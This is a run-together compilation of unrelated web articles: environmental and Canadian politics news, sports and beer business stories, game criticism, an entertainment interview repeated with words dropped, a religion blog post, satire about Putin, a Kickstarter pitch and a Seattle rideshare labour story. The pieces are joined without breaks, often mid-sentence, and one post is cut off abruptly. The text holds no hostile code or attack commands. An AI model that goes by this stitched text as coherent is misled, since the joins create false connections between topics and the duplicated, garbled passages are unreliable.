The new rules also could bring millions of dollars into the public coffers as drilling companies must pay royalties when they extract gas from public lands and burn methane. Without the rules, oil and gas companies have been venting or flaring over 15,000 metric tons of methane from publicly-owned oil and gas leases into the air each year—essentially tossing taxpayer money into the air. The rule will prevent oil and gas companies operating on federal and tribal lands from wasting 41 billion cubic feet of natural gas each year through leaks, venting and flaring—enough to power supply 740,000 households for a year.
Despite widespread support for these commonsense rules, including from states like California and New Mexico, the new administration is now attempting to delay and rescind them. In January, the BLM’s methane rule went into effect after Earthjustice successfully defeated attempts by several states and oil and gas industry groups tried to overturn it in court. In May, the same industry groups tasted failure again after the Senate rejected attempts to overturn the rule using an anti-democratic ploy known as the Congressional Review Act. In the July ruling on the EPA rule, a federal appeals court called the administration’s actions to delay the rule “unreasonable,” “arbitrary” and “capricious.”
Undeterred—and prodded by the fossil fuel industry during talks with Interior Secretary Ryan Zinke in May—the Trump administration is taking one more shot at delaying methane regulations. This time, it is using delay—the same tactic it used unsuccessfully with the EPA rule—for the BLM rule.
Earthjustice will be fighting the administration's latest delay tactic in court, alongside a broad coalition of tribal and environmental groups. Stay tuned.Court documents obtained by CBC News allege that the Catholic Church is withholding millions from former students of Indian residential schools.
The church was part of the Indian residential school settlement reached in 2006. While the government paid the lion’s share of the billion-dollar settlement, the churches were also required to make reparations.
The Anglican, Presbyterian and United churches have met their obligations, but according to the federal government, the Catholic Church is shirking its responsibility.
The Aboriginal Healing Foundation is one organization that was slated to receive funds from the Catholic Church.
"We're trying to get blood from a stone," says Mike DeGagne, former head of the organization.
We're trying to get blood from a stone. — Mike DeGagne
He says the foundation was supposed to receive $29 million from the church.
"But then, the Catholics were allowed to subtract a number of expenses they'd already incurred, so it got down to about $18 million and about $1.6 million is still outstanding."
Ottawa claims those expenses should have gone directly to the foundation, and is critical of the church for claiming legal expenses as administrative costs.
"The net effect of this accounting approach is to reduce the overall amounts that are paid to the Aboriginal Healing Foundation, and to give preference to the Corporation's administrative costs, including their lawyers' fees, at the expense of former students of Indian Residential Schools."
Ottawa also points out the Catholic groups committed to fundraise $25 million as a part of the settlement, but so far have only raised a fraction of that.
With funding from Ottawa, the Catholic Church ran more than 70 per cent of the residential schools, which operated from the late 1800s to the 1990s.
Denise Guimond attended one of those schools for five years.
Denise Guimond attended the Sagkeeng Residential School in Manitoba and wants the Catholic Church to pay its share of helping survivors. (CBC News) "It's disheartening to know, because they're rich and there's no reason why they can't pay their portion or their part in supporting the survivors.… The churches should be paying actually to the organizations that are actually helping."
Pierre Baribeau, a lawyer in Montreal and director of the Catholic Entities corporation, says the Catholic Church will fight these allegations in court.
"The federal government has always adopted an aggressive attitude towards the Catholic Entities and we have offered reconciliation process to them and they firmly answered negatively, they don’t want to apply the agreement as negotiated in 2006, so we are going to present our arguments to the courts."
But DeGagne says the legal dispute sends a bad message to survivors.
"This is not about the person in the pews. Most Catholics have no idea their church isn't honouring their obligations and choosing to pay lawyers versus their obligations to survivors. If most Catholics knew this, they would be appalled."
Today, Aboriginal Affairs Minister Bernard Valcourt said, "Canada is committed to implementation of settlement agreement, as this matter is before the court, this will be the extent of my comment on it."
The case is scheduled to be heard in a Saskatoon court in June.When your brewery has experienced double-digit growth for the last 17 consecutive years, you’re bound to field a few offers.
So it should come as no surprise, then, that the world’s largest brewery recently tried to arrange a formal sit down with one of craft’s most revered “indie” brewery owners: Dogfish Head founder Sam Calagione.
“They reached out to us and wanted to talk about some of their recent craft deals and arranging something similar,” Calagione told Brewbound.
Calagione, an outspoken and staunch defender of the Brewers Association’s craft brewer definition, said he politely told Anheuser-Busch InBev that he “wasn’t interested in having a meeting,” but invited company officials to take part in one of Dogfish Head’s regular brewery tours instead.
“The BA definition of an indie craft brewery is too important to me,” he said. “We are a family-controlled company, but we have other stakeholders. We are always going to come from a pure place and I feel an obligation to keep Dogfish Head a family-owned company that prioritizes our passion for beer over a passion for making money.”
At least, he added, until his two kids are “old enough” to have a conversation about a generational transfer.
“We have about a decade to think about that,” he said.
Until then, Calagione is focused on growing Dogfish and its beer, spirit and restaurant endeavors in a sustainable and manageable way.
“We have learned that, at the scale we are at right now, if we grow too quickly we outgrow our equipment and processes and people faster than we can replenish them,” Calagione said. “My hats off to my craft brewing brethren who have chosen a path of fast growth, but a more enjoyable experience for us means prioritizing strong growth over fast growth.”
That means focusing more energy on projects like a new distillery as well as a high-end, seafood-focused restaurant and bar located next to its Rehoboth Beach, Del. brewpub.
Produced in a recently expanded distillery that features two, 500-gallon copper pot stills and a 26-foot vodka/gin column still, three entirely new Dogfish Head spirits brands will hit the Delaware market in October, Calagione said. New Jersey and New York markets will follow in early 2016, once the company finishes interviewing and selecting distributors.
On the beer side, Calagione said he’s expecting another year of at least 10 percent growth and sales of more than 250,000 barrels. 60- and 90-Minute IPA are still the company’s top two beers, but the lower alcohol “Namaste” has recently emerged as the company third largest brand.
“Is it any coincidence that a 4.8 percent non-IPA but very approachable and sessionable beer is our fastest growing beer? I don’t think so,” he said, crediting much of Namste’s growth to accelerating session beer trends.
60-Minute IPA is still around 47 percent of total sales volume, Calagione said, but Namaste has grown from just one percent of sales to about eight percent of sales in the last 24 months.
Still, there’s no urge to step on the gas pedal, even with a brewery infrastructure that is capable of supporting 600,000 barrels annually (with the addition of new fermentation tanks).
“It’s going to be another four or five years before we are contemplating another huge capex investment,” he said. “We bit off a big chunk two years ago and now we can focus on our relationships with distributors and retailers without worrying about a looming capex project.”
To help with those relationships, Dogfish has hired former Constellation executive Todd Bollig as its new vice president of sales. He’ll be tasked with “focusing” the company’s entire sales force and its distributors partners around “what differentiates [our] core lineup, and being an innovative brewery with a portfolio that is IPA-centric.”
Once “focused,” Dogfish may look to add new markets, Calagione said.
“The fact that we can be up over 10 percent I think shows the health of our brand and gives us opportunities to explore in future years,” he said. “We are having discussions about the future and we are aware of how quickly the marketplace is evolving.”
“We’re on the cusp of a new era in the craft beer world,” he added. “Most students of the industry recognize that the current environment of two craft breweries opening every day, and the world’s largest breweries buying what were once indie craft breweries and making them a priority, changes the landscape. You’d have to be an ostrich with your head in the sand to say that it doesn’t.”
How the space and Dogfish Head’s business will continue to evolve?
“Time will tell,” said Calagione.The following blog post, unless otherwise noted, was written by a member of Gamasutras community.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
The hype around No Man's Sky is certainly among the biggest in video game history. The storm of disillusion raging since its release however has been just as strong. What should have been one of the greatest pieces of interactive entertainment ever, is receiving mediocre to crushingly bad ratings, and tons of disappointment from all sides. As it is typically the case with hyped titles like that, the immense expectations could not have been fulfilled to begin with. But not only the spectacular, yet incredibly vague, announcements on the part of Hello Games throughout the years are to be held responsible for this misery. The willingness of the player community to interpret the superficial statements by the developers in favorable ways over and over again, demonstrates a fundamentally flawed perspective on the medium.
Marketing by Obscurity
When it comes to the press coverage about No Man's Sky over the years, one thing immediately stands out: Questions about gameplay were either not answered at all or by putting forth wild speculations about what it could be like. In line with this, Hello Games founder Sean Murray even answered very concrete questions about what players were actually going to do in the game with notoriously vague statements, such as: "it's open ended, and players should be able to play a game lots of different ways". These kinds of statements, combined with the fascinating space setting and pretty concept art, in turn lead to countless interpretations among potential players. The power of their imagination about the game's content and depth knew no limits, a situation mirroring the reception of Spore a few years earlier.
Aliens, hype and disappointment: No Man's Sky is following in Spore's footsteps.
As shady as the marketing methods of the developers might have been however, there is allegation against the audience that cannot be refuted: They did not question the nebulosity of the statements regarding gameplay nearly enough. Instead of punishing the dodgy answers with increased skepticism, they took them as an opportunity to imagine all kinds of great features an "open space game" could potentially deliver. Instead of insisting on hard facts regarding game mechanics, hints about the thematic direction and early screenshots made them come up with all kinds of interesting gameplay elements. And of course they pre-ordered like crazy.
A Storm of Realization
And so it was bound to happen. The pictures players painted in their minds about what the game could possibly be differ strongly from what the product actually is. At this point it has become quite clear: The reason for there not being a lot of talk about the actual gameplay was that there just is not that much to begin with.
The lion's share of in-game time is spent walking or flying around, with the player's journey regularly being interrupted by having to collect resources by holding down the action button. Not much is left of the anticipated depth. Solely the promise of a practically "endless" universe seems to hold up. However, with the differences between planets often being nearly non-existent, that does not really help make the player's actions more meaningful.
An exciting space adventure about clicking and waiting. Over and over again.
Now, one could of course have seen this coming for quite a while. However, hundreds of thousands of players ran towards this air bubble of a game with open eyes and arms for years, just to now realize that there is nothing but hot air inside. How is that possible?
The answer lies in the youth of the medium and its underdeveloped theoretical foundation, especially compared to its financial strength. Even though gameplay is the defining element of the art form, players and also many critics are not used at all to putting it first when analyzing and assessing games.
But seriously, what am I actually doing?
While they intuitively understand the difference between presentation and gameplay, between game actions only seeming versus actually being interesting, they typically do not manage to transfer this distinction to a more abstract level without having a concrete example game in front of them. The thing is, gameplay is inherently abstract and inaccessible. Understanding it takes effort. The ability to talk and write about it in detail is something even experts have not fully developed yet. The creation of a clear and common language is one of the most important tasks in the field of game design. Hence it is of course understandable that those gaps are sometimes filled with fantasy and wishful thinking, with players being guided way too much by thematic elements and only scratching the audiovisual surface of a game.
"Hey, Batman! Counter my attack move please!" Truly heroic combat action.
And yet it would be so important to regularly and consciously ask one question, independently from the presentation: "What am I actually doing in this game?" Are there interesting decisions to make about which action to use when, or genuinely difficult maneuvers to perform? Or is it just about clicking things until they go away? Maybe all that it takes is to press the action button until all enemies have disappeared in spectacular animations. Or it might be all about holding the analogue stick up and watching an avatar wander around.
In good games however, all actions carry weight. They are deliberate, not mindless. Game and player become one. Strokes of genius within the game world are also those of the individual in front of the screen. Conversely, the same is true for each misstep of course. Only through these kinds of instructive and thus meaningful interactions can the unique potential of the medium really shine.David Cross Calls Alvin And The Chipmunks: Chip-Wrecked The Worst Experience Of His Career By Sean O'Connell Random Article Blend you were anxious for the Arrested Development movie to get off the ground. While David Cross waits for the opportunity to play Tobias Funke again, he stays busy with projects both impressive (Human Giant) and embarrassing (Year One). Cross has admitted in the past that his involvement in the Alvin and the Chipmunks franchise have been for the paycheck. Now, with this third installment about to hit theaters, Cross comes out and says this most recent one was hell on earth.
"This last film was literally, without question, the most unpleasant experience I’ve ever had in my professional life," Cross tells Chip-Wrecked. "It’s safe to say I won’t be working with some of those people ever again."
Cross, who only was contractually obligated to do three, doesn’t have to come back to the franchise, but he was quick to back-pedal… kind of. "Not the actors. And the director [Mike Mitchell] was great. We got along. There were a couple of people, though…it was just a really awful, unpleasant experience."
Now, I’ve seen Chip-Wrecked. (Don’t dare judge me. I have two young sons.) And Cross, for the most part, had to humiliate himself by wearing a bird suit for the duration of the film. He’s a mascot of a cruise line, and he claims not to have clothes on under the suit, so he stays in it as he and Jason Lee explore an island. But the actor did get to spend a lot of time on a cruise ship and on a tropical island for the benefit of the shoot, so it wasn’t like he was making a Saw movie in some dirty basement somewhere. Still, it sounds like you can count Cross out of any Chipmunks sequels, which might be best for everyone. And you thoughtwere anxious for themovie to get off the ground. While David Cross waits for the opportunity to play Tobias Funke again, he stays busy with projects both impressive () and embarrassing (). Cross has admitted in the past that his involvement in thefranchise have been for the paycheck. Now, with this third installment about to hit theaters, Cross comes out and says this most recent one was hell on earth."This last film was literally, without question, the most unpleasant experience I’ve ever had in my professional life," Cross tells The Playlist, choosing not to mince words about. "It’s safe to say I won’t be working with some of those people ever again."Cross, who only was contractually obligated to do three, doesn’t have to come back to the franchise, but he was quick to back-pedal… kind of. "Not the actors. And the director [Mike Mitchell] was great. We got along. There were a couple of people, though…it was just a really awful, unpleasant experience."Now, I’ve seen. (Don’t dare judge me. I have two young sons.) And Cross, for the most part, had to humiliate himself by wearing a bird suit for the duration of the film. He’s a mascot of a cruise line, and he claims not to have clothes on under the suit, so he stays in it as he and Jason Lee explore an island. But the actor did get to spend a lot of time on a cruise ship and on a tropical island for the benefit of the shoot, so it wasn’t like he was making amovie in some dirty basement somewhere. Still, it sounds like you can count Cross out of anysequels, which might be best for everyone. Blended From Around The Web Facebook
Back to topOn October 5, 2016, David Stearns took over as the ninth General Manager in Milwaukee Brewers history. He was formerly the Assistant General Manager of the Houston Astros, and his hiring signified a new era of Brewers baseball. Stearns has brought with him a new school philosophy from the sabermetrically-inclined Houston front office. He and his colleagues had a busy offseason, completing 9 trades and revamping the major league team and the farm system.
There were plenty of articles written over the offseason speculating on his next moves. One of the players that was mentioned over and over was Brewers catcher Jonathan Lucroy. Most industry insiders assumed that Lucroy would be moved to restock Milwaukee’s middling prospect pool. Lucroy was even quoted saying he did not want to play for the rebuilding Brewers before changing his tune prior to Spring Training. It was reported that Stearns’ asking price for the former All-Star was very high, but the speculation persisted.
As it turns out Lucroy was never traded, and it was David Stearns’ best decision of the offseason. While Lucroy was an All-Star in 2014 along with setting the MLB record for doubles by a catcher, he had a less than stellar 2015 season. He hit.264/.326/.391 with 7 home runs and an OPS+ of 95 in 103 games while battling injuries throughout the year. So, while Lucroy was one of the best catchers on the market this offseason, his value was nowhere near as high as it was after 2014. Stearns could have traded Lucroy anyways, cashing in on any value he had at that point, but instead he showed patience.
That patience has paid off so far. Through 45 games this year, Lucroy already has matched last year’s home run total and has increased his slash line to.280/.343/.476 with a OPS+ of 117.
Year Tm G AB HR RBI BA OBP SLG OPS OPS+ 2015 MIL 103 371 7 43.264.326.391.717 95 2016 MIL 45 164 7 20.280.343.476.818 117 View Original Table
Generated 5/28/2016. Provided by Baseball-Reference.com Generated 5/28/2016.
Most importantly, Lucroy is healthy and still showing that he is an incredible defensive asset. While it is not a foregone conclusion that Lucroy will be traded before the deadline, his team friendly contract ($4M this year with a $5.25M team option next year) and his play thus far might have convinced teams to pay Stearns’ price.
Follow @ACAllAmericans for quality, up-to-date sports reportingThis word “god” needs some serious redefining. I keep running into these intentionally obscurantist blitherings about “god” when the definition is clearly bouncing back and forth between multiple meanings. There are at least two categories of gods. Let’s give them different names so we stop confusing them.
Gods as working deities or GAWD. GAWD is an interventionist; it may have created the universe, it has power in the real world, it has a personal interest in human beings and planet Earth. GAWD can answer personal requests, GAWD can carry out miracles, GAWD must be propitiated by thoughts and rituals lest GAWD become wrathful…which is a bad thing that can have dire results in the real world. GAWD is what most religions are about, it’s what most people worship. GAWD is usually portrayed as an omnipotent, omniscient being who is greater than and beyond the universe, but he keeps a hand in and dabbles with virgins and foreskins and sends the occasional tornado and earthquake. Gods who avoid reality, or GWAR. GWAR is an abstraction, an impersonal and remote being who exists completely outside space and time, who doesn’t actually interact with our world; alternatively, GWAR is simply the state of existence that permeates the entire universe. GWAR does not tinker; it does not modify the rules of existence to satisfy personal requests; it does nothing but be and watch and sometimes, love. GWAR is invisible and indetectable because GWAR does nothing. At best, one can aspire to die and become invisible and indetectable oneself, and then you’ll get to meet GWAR. No religion actually exists to support GWAR. GWAR doesn’t need them, and they don’t believe that GWAR will actually do anything for them anyway.
Now you see, GAWD is the deity everyone wishes were true, and it’s the one that everyone talks about and fiddles over with prayers and rituals and what not, but GAWD has a serious flaw: GAWD itself is postulated to be beyond mere mortal ken and is therefore untouchable by science, but it is supposed to do things in the real-world, making the consequences of GAWD-activity and GAWD-belief vulnerable to actual empirical and experimental evaluation…which they fail, every time.
This is where GWAR comes in. GWAR also has a serious failing: GWAR doesn’t matter. It doesn’t do things, it’s vast and omnipotent and godlike, but it really won’t lift a finger to get you that raise you’re praying for or to smite that icky gay man in the next apartment, and no one worships it. There is no church of GWAR, because it is so unsatisfying and philosophically absent. But GWAR has one essential function: whenever those annoying skeptics start exposing the absence of evidential support for GAWD, just slap a skyhook on it and temporarily winch GAWD out of this universe, and pretend you’re talking about GWAR.
God is like a yo-yo. In church, you do a sleeper and have god spinning in imaginary action as GAWD, and all the congregation is praising and begging and looking for salvation…then someone comes along who’s critical and asks for evidence that those prayer mats and seed donations actually bring prosperity, and woop, back flip, over-under, reverse fling — look, it’s GWAR! GWAR don’t need no evidence, GWAR just is, have faith and believe. And as soon as we leave the room, GAWD can leave the shelter of his transdimensional outside-the-known-universe hidey hole and his GWAR alias and take center stage again.
Of course, even GWAR isn’t safe. We can always attack his prophets with the epistemological question of “If he’s so removed from this universe, how do you know about him?” Unfortunately, I don’t see many skeptics taking that line of attack, but we should.
Yesterday, I talked about how even skeptics are willing co-conspirators in this shell game. But theologians are worse, much worse.
Over at the awful Huffington Post, Episcopalian Bishop Pierre Whalon has put up a post supposedly explaining why he isn’t an atheist. Surprise…he |
least $2.5 million.
But all of the money is expected to be spent, Pavlich said.
The government has narrowed the criteria for the program in a way that's made it more difficult to access the funds, said Ratna Omidvar, who runs the Maytree Foundation in Toronto, a not-for-profit group involved in diversity programming.
"I don't think the multiculturalism program is being taken seriously any more and I worry about the nation-building aspects the program used to have," Omidvar said.
"There were a lot of problems with it, but to simply let it die down is not the route to go."
There is also an ongoing evolution in how governments thinks about multiculturalism, suggested Jack Jedwab, the executive director of the Association of Canadian Studies.
Funding model supports integration
Core funding for multi-ethnic groups disappeared in the 1980s, and the funding model shifted to supporting specific projects. In the early 2000s, the government changed its focus again, this time to support integration and settlement for newcomers.
That's forced groups working in the sector to change as well.
"The organizations out there are challenged by way of their capacity to undertake the types of projects that the multiculturalism program has identified as a priority," Jedwab said.
"Things are getting done, but they are not getting done through that program."
For example, settlement funding has risen by $400 million since 2005-06, according to the department.
The two aren't at all alike, argued Jinny Simms, the New Democrat's immigration and multiculturalism critic.
She said it's important for the federal government to play an active role in both.
"Settlement services are really there for when people arrive to help them transition," she said. "Multiculturalism is something different. It's not just for the new arrivals. It's for all of us."
Multiculturalism does remains a mainstay of how Canadians think about Canada at large, Jedwab said.
In an online poll conducted in mid-June for his organization, 43 per cent of those surveyed said their preferred image of Canada was a multicultural country with two official languages.WASHINGTON D.C.— Responding to popularity among conservative pundits and on social media, Russian President Vladimir Putin announced he will run for the Republican presidential nomination.
“Your candidates are weak,” declared Putin, whose late arrival to the race did not prevent him from surging to the top of the polls.
“I will fix your mess,” said Putin between shots of vodka. “I will beat your problems into submission.”
He was received with a standing ovation and a roar of applause.
Putin responded to criticisms from the left that not being a born citizen of the United States was a disqualifying factor.
“No one thinks current president was America born,” said Putin while smashing an empty bottle of vodka on the ground. “Who cares? At least I’m not Muslim terrorist!”
According to poll analysis, Trump’s support, which hasn’t dipped below 20 percent in months, has virtually evaporated due to Putin’s entry to the race.
At press time, several Republican candidates’ bodies were found in dumpsters.
Follow Stubhill News on Twitter and Facebook for all the latest newsChinese students at Melbourne University target of attacks, police say
Updated
Police are stepping up security around the University of Melbourne after a string of night-time attacks on Chinese students in recent months.
Police believe gangs are behind a growing number of crimes against students attending the prestigious university in Parkville.
Investigators said they had been in close contact with staff and student representatives and there would be an increase in both uniformed and undercover police patrols of the precinct.
Police have also met with Chinese consulate officials to discuss the safety of Chinese nationals studying at the university.
They said no students had been physically harmed in the attacks.
"While no physical injuries have been inflicted, the events have understandably been quite confronting for the victims involved," Victoria Police said in a statement.
"Both overt and covert police patrols will be increased in and around the university precinct over coming weeks to provide a highly visible presence and deter criminal activity."
A number of arrests have also been made, they said.
Topics: crime, melbourne-3000
First postedAt BreadBro, we believe that every student on the planet deserves to be exposed to real STEM topics as part of their education. Kids are smart; they can build real projects, on real platforms, and develop real ideas. Giving students the ability to create technology will not only improve their education, it will empower them to make their world a better place.
We developed BreadBro after realizing a crucial fact: the Arduino platform, while incredibly useful, is not perfectly suited to students, novices, and other people with no experience developing technology.
Even with the huge amount of resources available, people still come to the open hardware community with the same questions. Clearly, something is not connecting – basic errors are holding people back from building what they want to build. This initial frustration can be enough to permanently change a novice's attitude, even discourage their enthusiasm altogether.
Electrical Engineering students learn about circuits on a practical medium – the solderless breadboard. Breadboards allow for temporary circuit connections to be made so that students can learn what works, why, and how. Solderless breadboards have become ubiquitous in the Open Hardware community as well, enabling complex projects to be quickly prototyped.
BreadBro
We decided to combine the utility of the solderless breadboard and the resources of the Arduino community in a single platform. We went through many iterations before we realized that the key was not to simply pair the Arduino and breadboard on a mount – it was to merge them into a integrated platform. These early efforts led us to the design that you see today in BreadBro.
It's not enough to simply redesign common Open Hardware tools. We want to get the Open Hardware community's resources into the hands of educators everywhere. That's why, for every ten BreadBros that are ever sold, one complete kit will be donated to a school.
Our vision is a world where every single student is exposed to practical STEM skills as part of their education.
BreadBro was designed from the ground up to be the ideal development board for educators. We've combined an innovative curriculum with custom hardware to ensure that any educator, with any experience level, can teach practical STEM skills.
Breadboard Guide Card for Lesson 2: Series and Parallel Circuits
A bare breadboard has hundreds of holes, and only some of them are “correct” for any project. The BreadBro Learning System incorporates full color Instructional Guide Cards that are placed on top of the breadboard and provide precise guidance for component placement. Beginners can be confident in their connections and educators can be sure their students' projects will be safe.
The BreadBro Learning System with Breadboard Guide Card placed.
BreadBro incorporates many other features that educators will find helpful. Four rubber feet prevent damage to the development board on any work surface, and secure BreadBro to the work area. Four user-controlled LEDs are provided, allowing for simple projects like “Simon Says”, as well as advanced projects such as teaching 4-bit binary math. Additionally, two USB ports (USB Mini-B and Micro-B) provide a backup plan for when a cable goes missing or only one type is available. Finally, an available starter kit provides all the components any student or beginner could need as they take their first steps in open hardware.
Although the Arduino platform made simple electronics accessible to everyone, a certain amount of knowledge about technology is a prerequisite, even for beginners. BreadBro assumes that if you're getting started with the Open Hardware world, you might not know a volt from an amp from an ohm – but you probably have an awesome idea that you want to explore and develop.
BreadBro makes it easy for everyone to learn the fundamentals of electronic design and computer programming, even if you've never built or programmed anything before. An easy-to-use online curriculum provides all the guidance you need to go from building simple circuits to designing complex electronics applications. If you would like to know more, we provide links to useful resources and videos to help you understand why your latest project works the way it does.
BreadBro's 4 User-Controllable LEDs
Instructional Guide Cards, placed on top of the breadboard, take the confusion out of your first hardware setups. They also help you understand how a breadboard works, how to read circuit schematics, and how the schematic and the breadboard are related. This empowers you to understand the resources available in the open hardware community.
With a small form factor and an onboard battery, you're able to take your projects mobile and start exploring your world with technology. A power switch and a battery kill switch ensure that your projects are safe to move around. Four LEDs provide built-in output for sensors, program functions, or debugging.
We know that many open hardware enthusiasts already have a breadboard setup that they like. Even though your existing prototyping platform may be exactly what you need, BreadBro can still be a useful addition to your bench.
BreadBro's small, integrated form factor lends itself to easily testing out a sensor, figuring out a button arrangement, or learning how to use a new breakout board. Multiple BreadBros can be used to easily develop wireless sensor networks, without having to worry about a power supply.
By building in a battery, charge controller, and step-up voltage regulator, BreadBro is capable of short or long periods of autonomous use. With the included battery, BreadBro can run for several hours, depending on the project. If you need more battery lifetime, simply swap the included LiPo battery for a larger one, and you're ready for extended autonomous use. An included battery kill switch allow you to disconnect the battery from all features except charging, to ensure an extended storage lifetime.
BreadBro has a total of 11 onboard LEDs, and while they're great on a board for beginners, advanced users just don't need all of them all the time. 8 solder jumpers are provided to allow you to decide when to use the LEDs you need.
BreadBro's form factor and sleek design make it an excellent choice for prototyping on-the-go. It's small, it's cool, and it fits in any work area.
Hardware is hard. Hidden costs and surprise problems pop up when you least expect them. We're designing two separate manufacturing strategies - one for high volume production, and one for low volume production. Having major redundancy in our manufacturing strategy means that we can be very confident in our production timeline. We will be shipping the first BreadBros no later than August 1st, 2016.
The First BreadBro Prototypes
After we reach our goal on Kickstarter, we'll immediately begin our final design review. Once we receive funds, we anticipate placing orders with our manufacturers almost immediately, but we're building in a month-long buffer. While we're waiting for parts during the manufacturer lead time, we'll be focusing on designing and producing the instructional cards, lesson plans, and online curriculum. We anticipate beginning final assembly in July, and shipping no later than August.
BreadBro is ready for production. We have quotes from our suppliers. We've selected our PCB manufacturers. We have assembly strategies for both very low and very high volume production runs. When we pull the trigger, we hope to encounter as few obstacles as possible.
During and after the campaign, we're committed providing daily updates to our backers as well as weekly blog posts and videos. This way you can see what kind of progress we're making and learn something about the manufacturing process.
We're launching this Kickstarter to help validate our market and get an estimate on how many BreadBros we should build.I'm not entirely sold on the part of the 2017 V8 Supercars rules that allow non-V8 engines to run yet, because I'll admit: I love that sound. On the other hand, I'm all about the part of the 2017 regulations that allow non-sedan body styles, however, because we could be getting a Volvo wagon. REJOICE!
According to a tip we received today, this came from a source within Volvo who claims that Volvo and Polestar want to run a V60 wagon as soon as the 2017 regulations go into effect that allow other body styles.
Racing is somewhat of a marketing exercise, and Volvo known around the world for rad wagons. Even in my neighborhood, it doesn't matter if you need some extra room for dogs or if you're a struggling hipster scrimping by to afford artisanal kale cupcakes: you can't do wrong with a classic Volvo wagon.
This is a win-win for everybody, especially those of us pining for the days of the wonderful Volvo 850 in the British Touring Car Championship. Volvo was the first manufacturer team to race a wagon in 1994 with that 850, and it's since become one of the most iconic race cars of all time.
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Haters of cookie-cutter race cars will love the new V8-Optional Supercars body style rules that better reflect the cars available on the road today. Lovers of wagons, well, Australian Santa just popped down our chimney in mid-March with a bag full of awesome.
Oh, you plucky Swedes. Please, let me swing by with a plate of congratulatory köttbullar to celebrate how you win at life.
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Photo credit: Tips (new car), Volvo (850 BTCC)
Contact the author at stef.schrader@jalopnik.com (especially if you have more race-wagons).My Santa was about as quick as I was picking and shipping a gift, and when I came home after the workweek I found an Amazon package in my mailbox. As Amazon isn´t really a thing over here (yet?), this had to be it..!
I got a giftwrapped package with a very nice and thoughtful note on it that brought a big, excited smile to my face. I finally own a Constantine comic! :D I've been looking for a good one for a while now, so I'm very, very happy with this. Thank you so much, Bitek!
I do enjoy reading comics, and it's a great addition to my comic/geek shelf (see picture) _^ I mentioned Constantine was one of my favourite movies, and I'm still bummed the cancelled the show, but this might be the start of something new...
Thanks again, Santa Bitek!In a bit of irony, efforts to block a union vote among Uber and Lyft drivers may ultimately help the Teamsters.
David Longwell has been driving for Uber for 10 months. He says he would not have a say in any unionizing effort. Photo by Daniel Person
There’s little question as to who’s to blame for the long delay in implementation of Seattle’s first-of-its-kind ride-share unionizing ordinance: Lawsuits filed by those opposed to the unionizing effort, namely the U.S. Chamber of Commerce and a group of local drivers, have spurred a series of injunctions that have barred the city from putting the law into practice for several months now.
Yet the delay of their own making is causing some trouble for those opposed to unionizing. As the law is written, the more time that passes before a vote is taken on whether local drivers should unionize, the smaller the portion of drivers eligible to vote is. That, by everyone’s calculus, stands to benefit unionizing efforts, since longtime, full-time, drivers have the most to gain from organizing (and, labor supporters say, the most to lose from bad corporate practices).
When the City Council passed the collective-bargaining law in 2015, it did not specify which drivers would be allowed to vote on whether to unionize. The very nature of the work makes it a tricky question. Unlike, say, postal workers or longshoremen, there are wide variations in how often rideshare drivers work; should someone who signed up as a driver but rarely does so be allowed to vote? Or only full-time, longtime drivers?
The question to what drivers should vote was left to the Department of Finance and Administrative Services. Uber and Lyft lobbied for FAS to make the pool as big as possible; the Teamsters and pro-union drivers wanted some requirements to be set, lest efforts be sunk by a bunch of drivers who do little actual driving.
FAS ultimately landed on drivers who:
– Have been with the company for the previous 90 days and;
-Have made at least 52 trips to or from Seattle within any three-month period in the past 12 months.
Here’s the rub: The director’s rule states that those dates apply to the “commencement date” of the law, which was January 17 of this year. Therefore, drivers who weren’t with Uber or Lyft prior to October 19, 2016, aren’t eligible to vote on unionizing, whenever that vote happens.
At this point, anti-union drivers say, there are thousands of drivers with Uber and Lyft who would not be allowed to vote on unionizing. A handful of those drivers turned out for a small demonstration Wednesday calling on the city to amend its rules to allow more drivers to vote.
David Longwell, 41, says he’s been driving for both Uber and Lyft for 10 months and has given about 3,000 rides. He says he was a member of the Teamsters union when worked for Waste Management and was “super pro union.” Then, during the garbage strike in 2012, he says the union was “all over us to make sure we paid our union dues” as their paychecks dwindled.
Now, he says, he wouldn’t have a say over whether to join back up with the Teamsters (Teamsters Local 117, the union that has been doing most of the organizing so far).
“They gave a date. I started right after,” he says.
Drive Forward Seattle, a group of drivers opposed to unionizing, says in a letter FAS director Fred Podesta that “the city is silencing the very drivers it claims to be trying to help.” In a press release, Drive Forward says more than half of active drivers in Seattle started after Oct. 19 cut-off date.
According to Cyndi Wilder, a spokesperson at FAS, the commencement date could be updated at the request of the Teamsters “or another organization seeking to represent drivers.”
“To date, a new commencement date has not been requested,” Wilder says by email.
Dawn Gearhart with Teamsters 117 says that the union was in fact going to request a new commencement date, which would provide the Teamsters with a more accurate list of active drivers in Seattle. However, the U.S. Chamber of Commerce’s recent appeal of a lower-court decision throwing out their lawsuit has put that effort on hold.
Matthew Eng, who is leading the process at FAS, says the delay is something they are aware of.
“We’re continuing to have these discussions about the spirit of the ordinance, given where we are today,” he says. “Obviously the lawsuits don’t engendered a lot of good will; we are continuing to have discussion with how to proceed with our implementation.”
The irony, of course, is that the reason there hasn’t yet been a vote is that several lawsuits are attempting to block any vote at all. And as it happens, the wait just got a little longer this week.
Last week, we reported that the final lawsuit targeting the law had been struck down. It was the second time this month that U.S. District Judge Robert Lasnik ruled in favor of the ordinance. Since Lasnik simultaneously struck down an injunction against its implementation, the path looked clear for Seattle to move forward with the law.
That’s no longer the case.
The first lawsuit that Lasnik struck in early August was the one brought by the U.S. Chamber of Commerce alleging that the ordinance violates federal antitrust laws. That was immediately moved to the 9th District Court of Appeals, and on Tuesday the court ruled in favor of the Chamber’s request to issue yet another injunction against the law. So, once again, the city must hit the pause button.
The City Attorney’s office plans to put up a fight. “The Court’s ruling does not speak to the merits of the Chamber’s claims, and allows for orderly briefing in the matter,” reads a statement from the office. “The City will file its opposition to the Emergency Motion early next week and looks forward to defending this publicly important law on appeal.”
This pause could be a short one. But, as City Attorney spokesperson Kimberly Mills put it last week, these things aren’t predictable. “We never know what’s coming down the pike,” she said.
dperson@seattleweekly.com
This report includes archive material from Casey Jaywork.
This post was updated at 3:40 p.m. with material from the protest.Get the latest news and videos for this game daily, no spam, no fuss.
One week ahead of its US and Europe release on October 3, the embargo for Super Smash Bros 3DS reviews has lifted, with most critics largely in agreement on the game's quality.
Smash Bros. 3DS marks the first time the popular Nintendo series has appeared on a handheld, and some critics, including GameSpot's, have suggested that the condensed control layout could be an issue.
Below is a selection of scores and comments from other critics. For more, check out GameSpot sister site Metacritic.
Game: Super Smash Bros. for Nintendo 3DS
